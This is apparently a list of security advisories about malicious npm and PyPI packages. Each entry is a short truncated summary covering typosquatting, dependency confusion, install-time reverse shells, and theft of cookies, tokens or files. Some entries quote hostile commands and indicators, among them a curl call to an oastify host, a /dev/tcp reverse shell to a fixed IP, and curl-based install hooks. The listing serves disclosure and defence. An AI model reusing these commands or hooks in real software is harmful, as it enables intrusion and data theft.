Malicious code in tailwindcss-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5c6b39e2bde3263d10e2f20e707d06b981e746fda83ef7772233db33ae7a4f2 Package name mimics the legitimate tailwindcss-forms plugin repo field points at tailwindlabs/tailwindcss-forms but the main entry src/index.js is an...

Malicious code in @sanzoffc/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4393cd98419ed1fce683c0fde038bce830873769d85d69e64674df61f68502bc This package is a fork of the Baileys WhatsApp library that adds covert remote-controlled behavior driven by the installer's authenticated WhatsApp...

Malicious code in xzvbailsx (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac9176da252791a96b93c24e702c2245fb96d9655cdf9f31d61e9bc3e0c21528 package.json declares the dependency libsignal with source github:tenka-san/libsignal-node, an unpinned GitHub ref with no commit SHA, tag, or...

Malicious code in xzvbailey (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f961ec09baa139430fb2b04c3fef5350f16f659c8de585787a26f3c8535fca38 package.json declares the libsignal dependency as github:tenka-san/libsignal-node, a non-registry source pointing at a personal GitHub account with n...

Malicious code in xa424234657567 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0174148efc99cd1130b3b9f2c57599aac0f80ead454fd7dc0f397386db891b0c The package ships console.js, which when loaded in a browser on any host matching duel.com fetches https://unpkg.com/[email protected]/1.js and...

Malicious code in zero-baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 58d472a4390be835fc8ffd5e62a7d3b2bb7270ad6ea651d9cd15bc7abd7735c8 package.json redirects the libsignal dependency to npm:@otaxayun/libsignal-node@latest. The @latest dist-tag is mutable and unpinned, so each npm...

Malicious code in @lekzo/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cd9141ef0d6d97338c5f976c8071a6f5c37010683b27d4463b2221d76b82304 package.json declares the libsignal dependency as github:canove/libsignal-node with no tag, branch, or commit SHA. On npm install, npm fetches whatev...

Malicious code in requests-auroras (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 afa39517de816c01400eef99ef6ebce1357910c217c5e0ff55e4a252ea15a4c5 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in blue-string-formatter-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa3c9f5edcc636fc8d38e40a6bb225aed8f6b638be31f2abf8b6e747212c9565 The package advertises itself as 'Utility helpers for string formatting' but its shipped main file performs a single behavior: an XMLHttpRequest GET ...

Malicious code in @tink/tink-link-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 826e81131e7b2a296324d469c10f1e44d5b33683703c8a2e0f101a8674c1cfcf The package impersonates the Tink open-banking SDK name @tink/tink-link-core, description 'Enterprise-grade client core for open banking', homepage...

Malicious code in test89078-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1ac938360c682e2489d11de9278697e7e2e85d73c612d2ab60ed28553bb5573 The package's preinstall script scripts.preinstall = 'node index.js' runs automatically on npm install and collects os.userInfo.username and...

Malicious code in requests-triwes (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 fa01be0759de95b7a1628930718f7b3bf372eff0c777aace419196e327e77078 During installation, package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign:...

Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

Malicious code in index-forum (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 7561fd94425cdde34f5f9f3d20482a0da8680414d0f38e1e00fea419ce23cf66 The package hides code to exfiltrate specific files from the user's machine. The used file paths suggest it was intended to be used in a CTF-like environment...

Malicious code in kartykgithub-multiversion-a (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware cf524b1c8a586bcece6d65140e168a40adec8699c1cc7af61263bfd2a6b84543 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in pyjstat-smooth (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f65efaaf25b41d789624595550d966762b21747205b23f15325db2e05924387d The package advertised as a JSON-stat library ships a test module that, when the test suite is executed, walks the /app and /Users directory trees,...

Malicious code in @kartyk-github-org/takedown-a (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware bf2fb1adf14524d97cbb2a621413f9d25b8ac020fc927b92fa8f9aff52edef70 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @kartyk-github-org/takedown-b (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f59dc68aae74875f986021660cb054d4055e7f7113e31234e8a9589c44edfb6f Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in tailwindcss-form-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c7a21e4623006a0c69e3dfeb80857eadd9102550c8a77c1d95e880245a5f0fa9 Package name and repository field impersonate the legitimate tailwindlabs/tailwindcss-forms plugin, but the shipped main entry src/index.js is a full...

Malicious code in tailwindcss-form-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1eab685b70dc7394ba9eade13925f6da52267f61edcf8ba204bcf9ac3bd4c7bc The package publishes under the name tailwindcss-form-utils while pointing its repository field at https://github.com/tailwindlabs/tailwindcss-forms...

Malicious code in @railone/image-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebec05d8415347cef93849315a26f4221e34efa278fffe1b89700af039246dc6 On import, index.js calls initialize which spawns a detached, stdio-suppressed, windowsHide node loader.js child init.js and records its PID. loader....

Malicious code in aiosendletter (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29baa6f2cbfb2ef9907be7830505e33e82b5a1e6a45eb7f995022d09f5841f09 The package advertises itself as a 'safe bug reporter' but its init function archives the contents of %LOCALAPPDATA%\logs with shutil.makearchive and...

Malicious code in confx1789550882 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72ce9bca41cb0378952b582d6f115a3bffd2acea4999a90bae5f916428921b64 The package's main file index.js is an IIFE that, when loaded in a browser same-origin context e.g. via unpkg, reads location.href and document.cooki...

Malicious code in randompkgb (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 5daf14ba0ddb406ffdd9b17e6be63713fe9f66cf739753e8b20ffb128a8b1323 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in randompkgd (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c0ebd1d508d7c8ae4aa2a0693b9d07720a837307b1a5c343c931c6e7d72d6390 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in randompkge (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 95eb389e78a05b76dfefafd460f3280f3fabf8fcd1dfc55946b04bef84b26116 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in randompkga (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c4e7dfd8fb150e4c7f087a17c2ed162a8e48fe7e4e253a68df901f0e775fd68c package.json declares a postinstall lifecycle script cd "$INITCWD" && npm i randompkgb that, on npm install, installs the additional npm package...

Malicious code in randompkgc (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 7ce22b64e51787a332ae7c65afc8789c0fb3f806199aa79d72af9ff02eb867d1 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in pulse-pwn-9f3a2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8086e23ce4b6ff1ca043ca8d9c83f384455e0baee3d06cd79e8a0d5d52c04e1 index.js contains top-level code that fetches /profile and sends document.cookie together with the response body to a hardcoded webhook.site URL...

Malicious code in ragacateslikodi (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 09a5a8774b4ce673a050b7e26c7d08aec66320fc14257196157363935ac19aa1 On require/import of the package's main entry, a top-level async IIFE probes http://localhost:5000 for a hardcoded set of paths /admin, /flag, /profi...

Malicious code in tailwindcss-contact-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b198bc6d5af472f9cb1f1db25acf0215b77c04a742fcce81fef5565d76d837b Package presents itself as the Tailwind CSS forms plugin README is a verbatim copy of @tailwindcss/forms and its package.json points at...

Malicious code in marketing-mcp (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 87216e00fe68e2de8b140f1f9ffc2db5a8e814f38030e2eb6120c9ae9e7ca3ff The package exposes an MCP tool sendpath that reads a caller-specified local file and POSTs its contents to a hardcoded...

Malicious code in kartykgithub-takedown-b (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6844bb41cfa32b3ead1bd2558d13f9114c93fc9cea7be43ed4063726f259d405 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in kartykgithub-takedown-a (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware be4b64316a832dd3482cc41c21d79e2005d5984e2458ed45e957ee761862de31 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in laycot (npm)

This package is part of a malicious npm campaign published by the laycot account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and...

Malicious code in kartyk-github-token-pkg (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3cf7fd25b60cd680892113ab7de697ebe897542c013c8c4a977bb4852a593619 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in pkg-rollback-dreed-viced-sonic-ponds (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d5c66c5e78670d2099776492aa1a836a031eea3a9d43b2ffe5911a19b62c71d4 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in kartyk-github-single-ver-pkg (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware dc583cefb03bc649c96d2e8b48cc2bd5d73d8f6c489ded9b46c217ba1f212ddb Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in kartyk-github-oidc-test-pkg (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 1c0bc4570b5c41bc6a589bf16daea1a90f52e57b878fe6219afb1102ec24c535 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in trongappy (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 145727605bb141edc0fa9697253b211a1b0e467db2a484a2cedd163bcc6df1b7 The package exposes a single public function permprivatekey that POSTs its privatekey argument as JSON to the hardcoded URL...

Malicious code in rak-lab-yoav-orca-zrktd2cp5hjmo4x7 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 486630eaee2b9eb50d03d73886a14b7249b0c28fda2cb3f6a13565c8cd38a9bb pypi package rak-lab-yoav-orca-zrktd2cp5hjmo4x7 version 9.9.9 ships a setup.py that, during pip install, reads the DEPLOYMENTTOKEN environment variab...

Malicious code in praetorian-mind-rce-test-2026 (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7a16a607fd396ce7218fb45728cb3ca55f541326c83a063668a7a170b46acc1 At pip install time, setup.py calls a phonehome routine at module top-level before setup runs. The routine collects extensive host and container...

Malicious code in idx_form_script (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3cc222b7d4398590749d82ffc06100ca629c6e07970a0f95bcf63889fda19cd3 [email protected] is published with an implausibly high version number characteristic of dependency-confusion attacks against private internal...

Malicious code in @traktis/core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45eb01f2eb09b73c0660d97e76d37ab8f7d62773cab9cdbdea65039a37dbb534 package.json declares preinstall and postinstall lifecycle scripts that run curl against http://tko.amgsec.com/depconf/traktis-core/ on every npm...

Malicious code in @traktis/environment (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b9bdabc95f4e8bc70e348557c1cae7d2447d9bd1405ac7a23945ded47ec04a8 package.json declares preinstall and postinstall lifecycle scripts that invoke curl against the hardcoded cleartext endpoint...

Malicious code in strapi-plugin-os-rec (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b7f08345375bd52a25c34cc61a3e877c1a9f8f364a90a76b3a1eff55216ea03 postinstall.js runs automatically on npm install and collects host reconnaissance data — os.hostname, os.platform, os.arch, os.type, os.release, the...

Malicious code in strapi-plugin-ccrev-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cbcdfb404042de180795640d5ea266d8fe50afff5d180b3da0eab17f979369f3 postinstall.js executes automatically on npm install and opens a bash reverse shell via /dev/tcp redirection to the hardcoded remote endpoint...

Malicious code in strapi-plugin-osag (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 34d9349a970008e54774fc533af589248d578e1d34f6f82a9a6630beeabd2203 The package presents itself as a Strapi plugin but ships no plugin code — only a postinstall.js script that runs automatically on npm install. The...

Malicious code in strapi-plugin-ccrec-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 27dd1178f43debcd9babc6630aa303b6953e7572d994f8efe3acc75db2cc878e The package's postinstall lifecycle script postinstall.js executes a bash /dev/tcp reverse shell to the hardcoded remote endpoint 14.225.210.85:80,...

Malicious code in strapi-plugin-cccon-meeb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6c0ca5cf1881ed03c4a8b91832bcd8f65854bd36d9b764843370d26f599c2a0 postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granti...